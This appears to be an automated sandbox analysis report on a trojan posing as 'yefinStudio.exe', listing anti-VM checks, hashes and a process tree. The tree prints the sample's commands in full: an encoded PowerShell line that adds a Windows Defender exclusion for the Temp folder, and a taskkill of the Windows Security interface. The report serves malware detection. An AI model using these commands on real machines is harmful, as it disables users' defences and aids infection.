0557d61c2a400b0d48cd96494615257daf63a0f1dd0024b52cdadf91d7540557

Analysis

max time kernel
149s
max time network
161s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
25/05/2026, 22:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
yefinStudio.exe
Size 180.1MB
Sample260525-2a3elsa14x
SHA256 0557d61c2a400b0d48cd96494615257daf63a0f1dd0024b52cdadf91d7540557
MD5 fb4a2f6c714968046ccdf90576c1e7d8
SHA1 39c6a3a2db1af42b72bf0d24ee0be6b83688359a
SHA512 9df5770fc3e575e5ec49a098ac9d1039ae3d0e747b0c335683512131dcea5443b57753e165b85ab63731acda4f5194f558c4baf1b225fab5218b029e68dcb545
SSDEEP 1572864:lH0f0gqxb0WBFh/LVO9dyKcRmAswCXj5EtV4ga5h0q2ZOADpAyK5/Y3P8kbVr+qI:asok+hK7
TLSH
T168988C03F39A50D9E01DD1B58B9B9633EAB1B8854324A2DF27540B512F77EE86B3DB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ef77a9286c4610d6.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ef77a9286c4610d6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ef77a9286c4610d6.exe

Executes dropped EXE 1 IoCs

pid	Process
4548	ef77a9286c4610d6.exe

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral17/files/0x00080000000246a9-30.dat	themida
behavioral17/memory/4548-33-0x0000000140000000-0x00000001406E7000-memory.dmp	themida
behavioral17/memory/4548-34-0x0000000140000000-0x00000001406E7000-memory.dmp	themida
behavioral17/memory/4548-35-0x0000000140000000-0x00000001406E7000-memory.dmp	themida
behavioral17/memory/4548-37-0x0000000140000000-0x00000001406E7000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ef77a9286c4610d6.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	yefinStudio.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	yefinStudio.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	yefinStudio.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	yefinStudio.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	yefinStudio.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	yefinStudio.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	yefinStudio.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	yefinStudio.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	yefinStudio.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	yefinStudio.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1104	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1120	powershell.exe
1120	powershell.exe
3472	powershell.exe
3472	powershell.exe
4548	ef77a9286c4610d6.exe
4548	ef77a9286c4610d6.exe

Suspicious use of AdjustPrivilegeToken 32 IoCs

description	pid	Process
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeIncreaseQuotaPrivilege	1120	powershell.exe
Token: SeSecurityPrivilege	1120	powershell.exe
Token: SeTakeOwnershipPrivilege	1120	powershell.exe
Token: SeLoadDriverPrivilege	1120	powershell.exe
Token: SeSystemProfilePrivilege	1120	powershell.exe
Token: SeSystemtimePrivilege	1120	powershell.exe
Token: SeProfSingleProcessPrivilege	1120	powershell.exe
Token: SeIncBasePriorityPrivilege	1120	powershell.exe
Token: SeCreatePagefilePrivilege	1120	powershell.exe
Token: SeBackupPrivilege	1120	powershell.exe
Token: SeRestorePrivilege	1120	powershell.exe
Token: SeShutdownPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeSystemEnvironmentPrivilege	1120	powershell.exe
Token: SeRemoteShutdownPrivilege	1120	powershell.exe
Token: SeUndockPrivilege	1120	powershell.exe
Token: SeManageVolumePrivilege	1120	powershell.exe
Token: 33	1120	powershell.exe
Token: 34	1120	powershell.exe
Token: 35	1120	powershell.exe
Token: 36	1120	powershell.exe
Token: SeShutdownPrivilege	6120	yefinStudio.exe
Token: SeCreatePagefilePrivilege	6120	yefinStudio.exe
Token: SeDebugPrivilege	1104	taskkill.exe
Token: SeDebugPrivilege	3472	powershell.exe
Token: SeShutdownPrivilege	6120	yefinStudio.exe
Token: SeCreatePagefilePrivilege	6120	yefinStudio.exe
Token: SeShutdownPrivilege	6120	yefinStudio.exe
Token: SeCreatePagefilePrivilege	6120	yefinStudio.exe
Token: SeShutdownPrivilege	6120	yefinStudio.exe
Token: SeCreatePagefilePrivilege	6120	yefinStudio.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 6120 wrote to memory of 624	6120	yefinStudio.exe	88
PID 6120 wrote to memory of 1120	6120	yefinStudio.exe	89
PID 6120 wrote to memory of 4076	6120	yefinStudio.exe	90
PID 6120 wrote to memory of 4984	6120	yefinStudio.exe	93
PID 4984 wrote to memory of 4828	4984	cmd.exe	95
PID 4828 wrote to memory of 2432	4828	net.exe	96
PID 6120 wrote to memory of 5672	6120	yefinStudio.exe	97
PID 5672 wrote to memory of 1104	5672	cmd.exe	99
PID 6120 wrote to memory of 3608	6120	yefinStudio.exe	100
PID 3608 wrote to memory of 3004	3608	cmd.exe	102
PID 3004 wrote to memory of 3684	3004	net.exe	103
PID 6120 wrote to memory of 3472	6120	yefinStudio.exe	104
PID 6120 wrote to memory of 4548	6120	yefinStudio.exe	106

C:\Users\Admin\AppData\Local\Temp\yefinStudio.exe
"C:\Users\Admin\AppData\Local\Temp\yefinStudio.exe"
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6120
- C:\Users\Admin\AppData\Local\Temp\yefinStudio.exe
  "C:\Users\Admin\AppData\Local\Temp\yefinStudio.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\yefinstudio-6ivg" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1772,i,16203302686235414589,17621500232856407472,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1764 /prefetch:2
  2⤵
  PID:624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABuAD0AQAAoACkAOwAgAHQAcgB5AHsAJABuACsAPQBHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAHwAUwBlAGwAZQBjAHQAIAAtAEUAeABwAGEAbgBkACAATgBhAG0AZQB9AGMAYQB0AGMAaAB7AH0AOwAgAGkAZgAoAEAAKAAkAG4AKQAuAEMAbwB1AG4AdAAgAC0AZQBxACAAMAApAHsAdAByAHkAewAkAG4AKwA9AEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAB8AFMAZQBsAGUAYwB0ACAALQBFAHgAcABhAG4AZAAgAE4AYQBtAGUAfQBjAGEAdABjAGgAewB9AH0AOwAgACgAJABuACAALQBqAG8AaQBuACAAIgB8ACIAKQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1120
- C:\Users\Admin\AppData\Local\Temp\yefinStudio.exe
  "C:\Users\Admin\AppData\Local\Temp\yefinStudio.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\yefinstudio-6ivg" --field-trial-handle=1820,i,16203302686235414589,17621500232856407472,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1776 /prefetch:3
  2⤵
  PID:4076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4828
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM SecHealthUI.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5672
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3608
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3004
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABjAD0ARwBlAHQALQBDAG8AbQBtAGEAbgBkACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AGkAZgAoACQAYwApAHsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAH0AYwBhAHQAYwBoAHsAfQB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3472
- C:\Users\Admin\AppData\Local\Temp\ef77a9286c4610d6.exe
  C:\Users\Admin\AppData\Local\Temp\ef77a9286c4610d6.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious behavior: EnumeratesProcesses
  PID:4548

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 b58f994c644f7b4a831e889630bfd7ca0860aeb1e0920dc0f5d4928585a9dbab
MD5 3bfc414667e1ebc31e9259fa1db290fa
SHA1 9bff989429779efef334e5524a362e7b6ff266cb
SHA512 e6cb000e8f900132f7dc661f943b8e91e945d171157ff3289b91e9d79f70230e363ed65b7ec97f451b376cf4706a14de9a86193e72dcea8fe3aa8c86c6117d13
TLSH
T1E371BF323375B0D4C9567F072A2819C063BF4396EA98AF4CB25C621ED92751B9B122F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7225ea4abe1691ea7dde8aa2d10550c741bcb220bef02dd8bbeace2e155553d4
MD5 61bb5b27f0bb04a4f1fe491d63a462ac
SHA1 30b941a8ab44430dc4c17611dd4740f446a3556f
SHA512 e53d0c11297ba9f6355e713db21c93dd3449232667c6e18ef6c87e1f890ee37471747b8b3d1b7ec2a34ed0e3eb1c3914b282a77da0e0ac2acc757c344912712e
TLSH
T196218727B39CC921CC95153A109CAC1172B683C7809ECF8F6FC0D224A47FAC4CB71594
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_x2bz4qss.3sb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x2bz4qss.3sb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ef77a9286c4610d6.exe

Path C:\Users\Admin\AppData\Local\Temp\ef77a9286c4610d6.exe
Size 2.8MB
SHA256 98d85ca62efedadee2084f4aaad413c888c775b2262ea85fbee4c46c5ba7ea58
MD5 a4ab9adbe503cd700c619349adc6b327
SHA1 b85e94972b94bdd887b6186bcb6dfca2ed047427
SHA512 2c4bdb705a2180f78772340520399b565f995155dcc4aa3fe83a945a4f6279541423c66f788a0146db19d1a3cdf61f756df4b3fc2fdcd786cccf92ee7dab98c9
SSDEEP 49152:A8SA/CAi7pYhf/XqpcIki7UiemW7RnZzaNDRCWkYkyArdVmlxxcmDsFTHJ:TSA/WN6/M9st1axRVkYk5dM3VDsFF
TLSH
T167D5330974E64B68DE01507AF7E0E721609BF319E5930D89FC7DF9ACAAC96E3062431D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1120-1-0x000001F25B230000-0x000001F25B252000-memory.dmp

Download

memory/1120-9-0x000001F25B700000-0x000001F25B72A000-memory.dmp

Download

memory/1120-10-0x000001F25B700000-0x000001F25B724000-memory.dmp

Download

memory/4548-33-0x0000000140000000-0x00000001406E7000-memory.dmp

Download

memory/4548-34-0x0000000140000000-0x00000001406E7000-memory.dmp

Download

memory/4548-35-0x0000000140000000-0x00000001406E7000-memory.dmp

Download

memory/4548-37-0x0000000140000000-0x00000001406E7000-memory.dmp

Download